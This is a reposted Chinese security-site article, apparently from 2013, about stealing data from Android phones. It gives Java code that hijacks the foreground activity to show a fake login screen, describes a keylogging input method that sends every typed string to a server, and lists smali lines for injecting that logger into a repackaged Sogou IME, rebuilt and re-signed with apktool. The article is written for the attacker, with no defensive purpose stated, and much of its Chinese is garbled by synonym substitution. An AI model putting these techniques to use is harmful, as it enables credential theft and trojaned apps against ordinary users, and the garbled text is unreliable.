移动安全 安全管理 应用案例 网络威胁 系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 移动安全 >

Android智妙手机盗取用户信息新思路

时间:2013-05-23 13:05来源:TuZhiJiaMi企业信息安全专家 点击:
0×01 我们能获得哪些android手机上的app敏感信息 手机上的app敏感信息 通信录,通信记实,短信 各类app的帐号暗码,输进信息资料等 各类影音资料,照片资料 等等 0×02 我们有哪些编制可以获得
Tags移动安全(560)Android(84)智能手机(55)用户信息(15)  

  0×01 我们能获得哪些android手机上的app敏感信息

  手机上的app敏感信息

  通信录,通信记实,短信

  各类app的帐号暗码,输进信息资料等

  各类影音资料,照片资料

  等等

  0×02 我们有哪些编制可以获得他们

  通信录,通信记实,短信,这类信息需要我们的歹意apk在安装时申请大年夜量敏感的权限,好比说

  一个典型的联系人信息权限,这里需要在建设文件中声明,不然没法拿到

  各类app的帐号暗码,输进信息资料等,这些信息在非root景象下,很是难以获得

  假定要强行获得大年夜致有三种编制

  –a.栈劫持,完全代码见附件一,下面给出示例代码

  b.–部门apk会将敏感信息存进sd卡中,这里claud讲过,我就不说了

  c.–部门apk的建设文件读写权限设置不当,这个比较少

  –别的:我们可以把驰名的apk文件重打包后再次发布,例如我们点窜QQ的apk文件后再发布。

  0×03 栈劫持核心代码

  ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List appProcesses = activityManager.getRunningAppProcesses(); //列举过程 for(RunningAppProcessInfo appProcess : appProcesses) { //假定APP在前台 if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //APP是不是在需要劫持的列表中 if (mVictims.containsKey(appProcess.processName)) { if(UILogin.started == 0) { Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(UIIntent); UILogin.started =1; }长处:不消点窜方针apk,可以奇妙的棍骗用户的账户暗码

  错误谬误:劫持到的界面在棍骗了用户暗码后,没法顺利进行下一步登录,

  从而致利用户会心识到不合弊端劲(除极少数环境,我们弹出的界面可以把用户暗码交互给正常的apk界面)

  0×04 Android的apk重打包的优错误谬误

  略

  0×05 思虑别的编制

  这应当是一个非root便可以操纵的手艺 这应当是一个低权限的手艺 这应当是一个通用型的手艺 如许该是一个不容易被发觉的手艺 思虑下,在android中apk之间是根基尽缘的,那有甚么可让我的apk拜候到别的apk的敏感资本呢

  在ios中,不逃狱的环境下,为甚么不承诺装第三方的输进法,这里是不是是隐含着一些缝隙呢!!!

  0×06 Android输进法的机制-流程

  输进法利用是具体措置用户输进行动的利用法度。为了可以或许在Android的输进法框架中杰出的运行,所有的输进法利用都需要继续特定的service。 Android平台的输进法框架为输进法利用定义了一个基类InputMethodService。InputMethodService供给了一个输进 法的尺度实现。定义了输进法生命周期内的首要函数,供给给开辟人员进行响应的措置。

  a. 当用户触发输进法显示的时辰(客户端控件获得核心),InputMethodService启动。起首调用onCreate() 函数,该函数在输进法第一次启动的时辰调用,适合用来做一些初始化的设置,与其他service不异; b. 调用onCreateInputView()函数,在该函数中成立KeyboardView并返回; c. 调用onCreateCandidatesView()函数,在该函数中成立候选区实现并返回; d. 调用onStartInputView()函数来开端输进内容, e. 输进结束后调用onFinishInput()函数来结束当前的输进, f. 假定移动到下一个输进框则反复调用onStartInputView和onFinishInput函数; g. 在输进法封锁的时辰调用onDestroy()函数。

  0×07 Android输进法的机制-细节 (重点)

  a.在InputMethodService中,有几个值得寄望的编制或类getCurrentInputEditorInfo() 这个别例可以获恰当前 编纂框的一组对象属性EditorInfo,他有以下的关头属性 EditorInfo .hintText顾名思义即为编纂框的默许值,这个是很关头的一个属性. EditorInfo .packageName是指这个控件所属的apk的包名,好比说手机qq中的所有编纂框的packageName都是com.tencent.qq b.getCurrentInputConnection()这个别例可以获恰当前的编纂框的一个InputConnection对象,而这个对象则有多个强大年夜的编制可以调用 commitText(CharSequence text, int newCursorPosition),很关头的一个函数,用来向编纂框写进值getTextAfterCursor(int n, int flags) getTextBeforeCursor(int n, int flags) 顾名思义,便是获得输进框中的字符串,n代表读取多少位,flags设为0

  0×08 Android输进法的hack手艺

  我们可以本身实现一个输进法,在输进每个字符的时辰记实,最后在onFinishInput编制处把输进框的值发 送到办事器往可以见教例代码2中,操纵android示例代码SoftKeyboard点窜的间谍apk,

  此中在他的源代码中只改动了两处

  handleCharacter 编制最后加进SoftKeyIcefish.postInfo(this);

  onFinishInput编制加进SoftKeyIcefish.start();

  0×09 Android输进法的-重打包搜狗输进法

  经由过程sougou的建设文件可以发现关头的阿谁InputMethodService类即为

  com.sohu.inputmethod.sogou.SogouIME.smali

  打开这个文件搜刮committext,然后在每个这个后面加上

  invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V

  即为SoftKeyIcefish.postInfo(this)

  查找onFinishInput() v

  第一行加上

  invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V即为

  SoftKeyIcefish.start();

  Apktool b打包,签名,测试

  0×10 测试结果,评论

  图片见

  操纵对输进法的重打包,来实现盗取用户信息的编制,长处在于权限要求很是之低,只要求一个收集权限便可以盗取各类各样的用户输进信息了,而反不雅各类输进法 他们本身申请的权限已很是之高了。并且盗取的信息中包含的hinttext和包名又可以便利的帮忙我们定位到具体的apk和输进框信息

  0×11 具体内容见ppt附件

  http://pan.百度.com/share/link?shareid=134386&uk=3204812497

  摘自中国云安网(www.yunsec.net) 原文:http://www.yunsec.net/a/security/wireless/2012/1112/11902.html

------分隔线----------------------------

推荐内容